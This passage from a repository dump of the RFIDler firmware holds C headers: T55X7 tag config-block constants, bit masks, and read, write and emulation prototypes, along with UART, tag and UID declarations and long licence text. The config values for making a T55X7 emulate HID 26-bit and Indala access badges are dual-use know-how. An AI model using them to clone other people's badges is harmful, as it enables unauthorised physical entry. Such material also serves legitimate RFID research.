flag\n// we've done both below to prove that it works either way, and the modulation value for BiPhase 50 in the Atmel data sheet of binary \"10001\" (17) is a typo,\n// and it should actually be \"10000\" (16)\n// #define T55X7_FDXB_CONFIG_BLOCK         \"903F8080\"      // emulate fdx-b - xtended mode, BiPhase ('57), data rate 32, 4 data blocks\n#define T55X7_FDXB_CONFIG_BLOCK         \"903F0082\"      // emulate fdx-b - xtended mode, BiPhase ('50), invert data, data rate 32, 4 data blocks\n#define T55X7_HID_26_CONFIG_BLOCK       \"00107060\"      // hid 26 bit - compat mode, FSK2a, data rate 50, 3 data blocks\n#define T55X7_INDALA_64_CONFIG_BLOCK    \"00081040\"      // emulate indala 64 bit - compat mode, PSK1, psk carrier FC * 2, data rate 32, maxblock 2\n#define T55X7_INDALA_224_CONFIG_BLOCK   \"000810E0\"      // emulate indala 224 bit - compat mode, PSK1, psk carrier FC * 2, data rate 32, maxblock 7\n\n// note that T55X7 sends data in LSB order, so everything in the datasheet is effectively reversed\n// what is shown as \"bit 32\" is actually bit 0\n\n// config block common masks\n#define T55X7_MASK_MASTER_KEY                    0b11110000000000000000000000000000\n#define T55X7_MASK_XMODE                         0b00000000000000100000000000000000\n#define T55X7_MASK_MODULATION                    0b00000000000000011111000000000000\n#define T55X7_MASK_PSK_CARRIER_FREQ              0b00000000000000000000110000000000\n#define T55X7_MASK_AOR                           0b00000000000000000000001000000000\n#define T55X7_MASK_OTP                           0b00000000000000000000000100000000\n#define T55X7_MASK_MAX_BLOCK                     0b00000000000000000000000011100000\n#define T55X7_MASK_PWD                           0b00000000000000000000000000010000\n#define T55X7_MASK_FAST_WRITE                    0b00000000000000000000000000000100\n#define T55X7_MASK_INVERSE_DATA                  0b00000000000000000000000000000010\n#define T55X7_MASK_POR_DELAY                     0b00000000000000000000000000000001\n\n#define T55X7_COMPAT_MODE                        0b0110\n// config block masks - compatibility mode (master key == 0110)\n#define T55X7_COMPAT_MASK_DATA_BIT_RATE          0b00000000000111000000000000000000\n#define T55X7_COMPAT_MASK_ST                     0b00000000000000000000000000001000\n\n#define T55X7_XMODE_MODE                         0b1001\n// config block masks - xtended mode (master key == 1001)\n#define T55X7_XMODE_MASK_DATA_BIT_RATE           0b00000000111111000000000000000000\n#define T55X7_XMODE_MASK_SST                     0b00000000000000000000000000001000\n\n// config block bit shifts - (same for both modes, but not all apply)\n#define T55X7_SHIFT_MASTER_KEY                  28\n#define T55X7_SHIFT_DATA_BIT_RATE               18\n#define T55X7_SHIFT_XMODE                       17\n#define T55X7_SHIFT_MODULATION                  12\n#define T55X7_SHIFT_PSK_CARRIER_FREQ            10\n#define T55X7_SHIFT_AOR                         9\n#define T55X7_SHIFT_OTP                         8\n#define T55X7_SHIFT_MAX_BLOCK                   5\n#define T55X7_SHIFT_PWD                         4\n#define T55X7_SHIFT_ST_SST                      3\n#define T55X7_SHIFT_FAST_WRITE                  2\n#define T55X7_SHIFT_INVERSE_DATA                1\n#define T55X7_SHIFT_POR_DELAY                   0\n\n// T55X7 modulation settings\n#define T55X7_MOD_BIPHASE_57               24\n#define T55X7_MOD_BIPHASE_50               16\n#define T55X7_MOD_MANCHESTER               8\n#define T55X7_MOD_FSK2_A                   7\n#define T55X7_MOD_FSK1_A                   6\n#define T55X7_MOD_FSK2                     5\n#define T55X7_MOD_FSK1                     4\n#define T55X7_MOD_PSK3                     3\n#define T55X7_MOD_PSK2                     2\n#define T55X7_MOD_PSK1                     1\n#define T55X7_MOD_DIRECT                   0\n\n\n//\n\nBOOL t55x7_send_command(BYTE *response, BYTE *command, BYTE length, BOOL reset, BOOL sync, BYTE response_length);\nBOOL t55x7_get_uid(BYTE *response);\nBOOL t55x7_read_block(BYTE *response, BYTE block);\nBOOL t55x7_write_block(BYTE block, BYTE *data, BOOL lock, BOOL verify);\nBOOL t55x7_rwd_test(BYTE *pattern);\nBOOL t55x7_config_block_show(BYTE *config, BYTE *password);\nBOOL t55x7_emulate_config_block(BYTE *config, BYTE target_tagtype);\nBOOL t55x7_create_config_block(BYTE *config);"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/tags.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n#define RAW_TAGS_DATABITS   256\n\nvoid tag_list(void);\nBYTE auto_detect_tag_type(void);\nBYTE tag_get_type(BYTE *tag);\nunsigned int tag_get_blocksize(BYTE tag);\nunsigned int tag_get_datablocks(BYTE tag);\nunsigned int tag_get_databits(BYTE tag);\nBOOL tag_set(BYTE tag);\nBOOL tag_uid_to_hex(BYTE *hex, BYTE *uid, BYTE tagtype);\nvoid tag_raw_uid_to_data(BYTE *data, BYTE *uid, BYTE host_tagtype);\nBOOL tag_write_default_config(BYTE tagtype, BYTE *password);\nBOOL tag_write_default_blocks(BYTE tagtype, BYTE *password);\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/tamagotchi.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2015 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n// Natalie Silvanovich\n// Tony Naggs\n\nBOOL tamagotchi_decode_pwm(unsigned int pulses[], unsigned int gaps[], unsigned int count);\n\n// local functions\nBOOL VerifyTamaMessage(BYTE *out, unsigned int outcount);\nBYTE ChecksumTamaMessage(BYTE *out, unsigned int outcount);\nvoid DumpTamaMessage(BYTE *out, unsigned int outcount);\nchar TamaAlphabetConvert(BYTE b);\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/uart3.h",
    "content": "/*\r\n\r\nUART3 Driver Header File for PIC24.\r\n\r\n********************************************************************************\r\n FileName:        uart2.c\r\n Dependencies:    HardwareProfile.h\r\n Processor:       PIC24\r\n Compiler:        MPLAB C30\r\n Linker:          MPLAB LINK30\r\n Company:         Microchip Technology Incorporated\r\n\r\nAuthor                Date      Comment\r\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\nAnton Alkhimenok   18-Oct-2005\r\nKO                 11-Oct-2006  v1.0\r\nAnton Alkhimenok   17-Feb-2009  Added UART2Char2Hex(), UART2Hex2Char(), \r\n\t\t\t\t\t\t\t\t\t  UART2ClearError(), UART2DataReceived()\r\nPAT\t\t\t\t   27-Jan-2010  Added UART2GetBaudError() for dynamic checking\r\n\t\t\t\t\t\t\t\tof baud rate percentage error.\r\n********************************************************************************\r\nSoftware License Agreement\r\n\r\nMicrochip Technology Inc. (\"Microchip\") licenses to you the right to use, copy,\r\nmodify and distribute the software - including source code - only for use with\r\nMicrochip microcontrollers or Microchip digital signal controllers; provided\r\nthat no open source or free software is incorporated into the Source Code\r\nwithout Microchips prior written consent in each instance.\r\n\r\nThe software is owned by Microchip and its licensors, and is protected under\r\napplicable copyright laws.  All rights reserved.\r\n\r\nSOFTWARE AND DOCUMENTATION ARE PROVIDED \"AS IS\" WITHOUT WARRANTY OF ANY KIND,\r\nEITHER EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION, ANY WARRANTY OF\r\nMERCHANTABILITY, TITLE, NON-INFRINGEMENT AND FITNESS FOR A PARTICULAR PURPOSE.\r\nIN NO EVENT SHALL MICROCHIP OR ITS LICENSORS BE LIABLE OR OBLIGATED UNDER\r\nCONTRACT, NEGLIGENCE, STRICT LIABILITY, CONTRIBUTION, BREACH OF WARRANTY, OR\r\nOTHER LEGAL EQUITABLE THEORY ANY DIRECT OR INDIRECT DAMAGES OR EXPENSES\r\nINCLUDING BUT NOT LIMITED TO ANY INCIDENTAL, SPECIAL, INDIRECT OR\r\nCONSEQUENTIAL DAMAGES, LOST PROFITS OR LOST DATA, COST OF PROCUREMENT OF\r\nSUBSTITUTE GOODS, TECHNOLOGY, SERVICES, ANY CLAIMS BY THIRD PARTIES (INCLUDING\r\nBUT NOT LIMITED TO ANY DEFENSE THEREOF), OR OTHER SIMILAR COSTS.\r\n\r\n********************************************************************************\r\n*/\r\n\r\n//******************************************************************************\r\n// Function Prototypes\r\n//******************************************************************************\r\n\r\n/*******************************************************************************\r\nFunction: UART2GetBaudError()\r\n\r\nPrecondition:\r\n    None.\r\n\r\nOverview:\r\n    This routine checks the UART baud rate error percentage and returns it.\r\n\r\nInput: None.\r\n\r\nOutput: Returns the baud rate error in percent.\r\n\r\n*******************************************************************************/\r\nchar UART3GetBaudError();\r\n\r\n/*********************************************************************\r\nFunction: char UART2GetChar()\r\n\r\nPreCondition: none\r\n\r\nInput: none\r\n\r\nOutput: last character received\r\n\r\nSide Effects: none\r\n\r\nOverview: returns last character received\r\n\r\nNote: none\r\n\r\n********************************************************************/\r\nchar UART3GetChar();\r\n\r\n/*********************************************************************\r\nFunction: void UART2PutChar(char ch)\r\n\r\nPreCondition: none\r\n\r\nInput: none\r\n\r\nOutput: none\r\n\r\nSide Effects: none\r\n\r\nOverview: puts character\r\n\r\nNote: none\r\n********************************************************************/\r\nvoid UART3PutChar( char ch );\r\n\r\n/*********************************************************************\r\nFunction: void UART2Init(void)\r\n\r\nPreCondition: none\r\n\r\nInput: none\r\n\r\nOutput: none\r\n\r\nSide Effects: none\r\n\r\nOverview: initializes UART \r\n\r\nNote: none\r\n********************************************************************/\r\nvoid UART3Init();\r\n\r\n/*******************************************************************************\r\nFunction: UART2IsPressed()\r\n\r\nPrecondition:\r\n    UART2Init must be called prior to calling this routine.\r\n\r\nOverview:\r\n    This routine checks to see if there is a new byte in UART reception buffer.\r\n\r\nInput: None.\r\n\r\nOutput:\r\n    0 : No new data received.\r\n    1 : Data is in the receive buffer\r\n\r\n*******************************************************************************/\r\nchar UART3IsPressed();\r\n\r\n/*******************************************************************************\r\nFunction: UART2PrintString( char *str )\r\n\r\nPrecondition:\r\n    UART2Init must be called prior to calling this routine.\r\n\r\nOverview:\r\n    This function prints a string of characters to the UART.\r\n\r\nInput: Pointer to a null terminated character string.\r\n\r\nOutput: None.\r\n\r\n*******************************************************************************/\r\nvoid UART3PrintString( char *str );\r\n\r\n/*******************************************************************************\r\nFunction: UART2PutDec(unsigned char dec)\r\n\r\nPrecondition:\r\n    UART2Init must be called prior to calling this routine.\r\n\r\nInput: Binary data\r\n\r\nOutput: none\r\n\r\nSide Effects: none\r\n\r\nOverview: This function converts decimal data into a string \r\n          and outputs it to UART.\r\n\r\nNote: none\r\n*******************************************************************************/\r\nvoid UART3PutDec( unsigned char dec );\r\n\r\n/*******************************************************************************\r\nFunction: UART2PutHex\r\n\r\nPrecondition:\r\n    UART2Init must be called prior to calling this routine.\r\n\r\nInput: Binary data\r\n\r\nOutput: none\r\n\r\nSide Effects: none\r\n\r\nOverview: This function converts hex data into a string \r\n          and outputs it to UART.\r\n\r\nNote: none\r\n*******************************************************************************/\r\nvoid UART3PutHex( int toPrint );\r\n\r\n/*******************************************************************************\r\nFunction: UART2PutHexWord(unsigned int toPrint)\r\n\r\nPrecondition:\r\n    UART2Init must be called prior to calling this routine.\r\n\r\nInput: Binary data\r\n\r\nOutput: none\r\n\r\nSide Effects: none\r\n\r\nOverview: This function converts hex data into a string \r\n          and outputs it to UART.\r\n\r\nNote: none\r\n*******************************************************************************/\r\n#if defined( __C30__ ) || defined( __PIC32MX__ )\r\nvoid UART3PutHexWord( unsigned int toPrint );\r\nvoid UART3PutHexDWord( unsigned long int toPrint );\r\n#endif\r\n\r\n/*********************************************************************\r\nFunction: char UART2Char2Hex(char ch)\r\n\r\nPreCondition: none\r\n\r\nInput: ASCII to be converted\r\n\r\nOutput: number\r\n\r\nSide Effects: none\r\n\r\nOverview: converts ASCII coded digit into number\r\n\r\nNote: none\r\n\r\n********************************************************************/\r\nchar UART3Char2Hex(char ch);\r\n\r\n/*********************************************************************\r\nFunction: char UART2Hex2Char(char hex)\r\n\r\nPreCondition: none\r\n\r\nInput: number\r\n\r\nOutput: ASCII code\r\n\r\nSide Effects: none\r\n\r\nOverview: converts low nibble into ASCII coded digit\r\n\r\nNote: none\r\n\r\n********************************************************************/\r\nchar UART3Hex2Char(char hex);\r\n\r\n/*********************************************************************\r\nFunction: void UART2ClrError(void)\r\n\r\nPreCondition: none\r\n\r\nInput: none\r\n\r\nOutput: character received\r\n\r\nSide Effects: none\r\n\r\nOverview: wait for character\r\n\r\nNote: none\r\n\r\n********************************************************************/\r\nvoid UART3ClrError(void);\r\n\r\n/*********************************************************************\r\nMacros: UART2DataReceived()\r\n\r\nPreCondition: none\r\n\r\nInput: none\r\n\r\nOutput: zero if character is not received\r\n\r\nSide Effects: none\r\n\r\nOverview: checks if data is available\r\n\r\nNote: none\r\n\r\n********************************************************************/\r\n#define UART3DataReceived() (U3STAbits.URXDA)\r\n\r\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/uid.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\n\n\nBOOL get_tag_uid(BYTE *response);\nBOOL interpret_uid(BYTE *response, BYTE *hex, BYTE tagtype);\nBOOL get_interpreted_tag_uid(BYTE *response, BYTE tagtype);\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/unique.h",
